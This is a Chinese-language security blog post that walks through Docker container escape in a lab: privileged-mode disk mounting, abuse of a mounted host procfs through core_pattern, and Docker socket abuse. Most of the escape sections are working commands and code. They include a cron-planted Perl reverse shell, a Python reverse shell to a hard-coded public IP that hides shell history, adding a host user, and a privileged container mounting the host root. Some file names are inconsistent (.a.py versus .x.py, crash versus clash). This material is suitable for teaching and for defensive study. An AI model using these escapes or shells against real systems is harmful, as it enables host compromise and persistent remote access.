Docker容器逃逸
2026-01-11 20:34:55

Docker容器逃逸

环境准备

使用项目metarget - https://github.com/Metarget/metarget

阿里云公开Ubuntu镜像 - ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04 - https://cr.console.aliyun.com/cn-hangzhou/instances/artifact

image-20251120171004-0pz7vqp

容器环境中可能如ping, ifconfig命令无法正常使用,可以上传busybox配合使用

image-20251121151521-cs1n065

Priviliged 特权模式容器逃逸

环境搭建

1
2
3
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
./metarget cnv install privileged-container

编辑 vulns_cn/configs/pods/privileged-container.yaml

Ubuntu镜像改为阿里云的公开镜像 - ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04,可以防止出现网络问题

然后查看节点状kubectl get pods -n metarget,若为RUNNING,则就可以进入了 - kubectl exec -it -n metarget privileged-container /bin/bash

判断是否为特权模式

1、是否有权限查看磁盘列表并操作挂载 - fdisk -l

2、通过CapEff掩码值判断

1
cat /proc/self/status | grep CapEff

若掩码值为0000003fffffffff/0000001fffffffff,则为特权模式

image-20251120180359-h7qzzxm

逃逸

先查看宿主机有哪些块设备

1
lsblk

image-20251120181510-ulvgoji

或者

1
cat /proc/partitions

image-20251120181703-ox6s4mx

当前容器宿主机块设备为/vda/vda1

/dev/vda1 - 文件系统

特权容器允许执行mount 挂载命令,在容器中临时创建一个文件夹/test,然后将文件系统/dev/vad1挂载到/test

1
2
mkdir /test
mount /dev/vda1 /test

实现逃逸,特权容器实现逃逸后,以root权限访问宿主机文件

image-20251120182146-ia2s51i

在宿主机根目录中新建文件

1
touch /test/attack.txt

image-20251120182532-9wsxw6z

利用

定时任务
1
echo $'*/1 * * * * perl -e \'use Socket;$i="xxx.xx.xx.xxx";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root

添加用户登录
1
chroot /test adduser test

image-20251120220711-2okmyhy

image-20251120221148-mcs7hlz

写ssh公钥

正常写公钥就行,不多赘述

挂载宿主机Procfs系统导致容器逃逸

procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式

2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行

判断是否挂载Procfs

1
find / -name core_pattern

image-20251121101416-t5vue7m

逃逸

找到docker在当前宿主机的绝对路径

1
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

image-20251121101635-toa92xo

/work更换为/merged

在容器内向/host-proc/sys/kernel/core_pattern中写入想要执行的恶意逻辑,这里是执行恶意python代码

1
echo '|/var/lib/docker/overlay2/e414c33503a4b8e3fc76ea5f59f76878aca38e9b8f58ccfd11d148707c023a47/merged/tmp/.a.py' > /host-proc/sys/kernel/core_pattern

反弹Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat >/tmp/.a.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "101.42.13.105"
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF

给执行权限chmod +x /tmp/.x.py

制作崩溃程序,可以在有gcc的环境中编译好后

1
2
3
4
5
6
7
8
9
cat > crash.c << 'EOF'
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1; // 故意触发段错误
return 0;
}
EOF
1
gcc -o crash crash.c

运行/tmp/clash后即可反弹shell逃逸

挂载Docker Socket逃逸

Docker Socket用来与Docker守护进程进行通信。Docker守护进程是Docker引擎的核心组件,负责管理和执行容器。

可以利用Docker Socket在容器内部创建一个挂载了宿主机根目录的容器实现逃逸

判断是否挂载 Docker Socket

1
2
ls -lah /var/run/docker.sock
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

image-20251121130423-96sr8c0

逃逸

docker中安装docker,首先换源

1
2
3
4
5
6
7
8
9
10
(1) 换清华源
cat > /etc/apt/sources.list <<EOF
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
EOF

(2) 换中科大源
sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

1
2
3
4
5
6
7
8
apt-get update
apt update&& apt install -y wget
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xf ./docker-17.03.0-ce.tgz
cd docker
chmod +x ./docker
./docker ps //显示正在运行的容器
./docker run -it -v /:/host --privileged --name=sock-test ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04 /bin/bash

成功逃逸

image-20251121143854-xnfn0ig

2026-01-11 20:34:55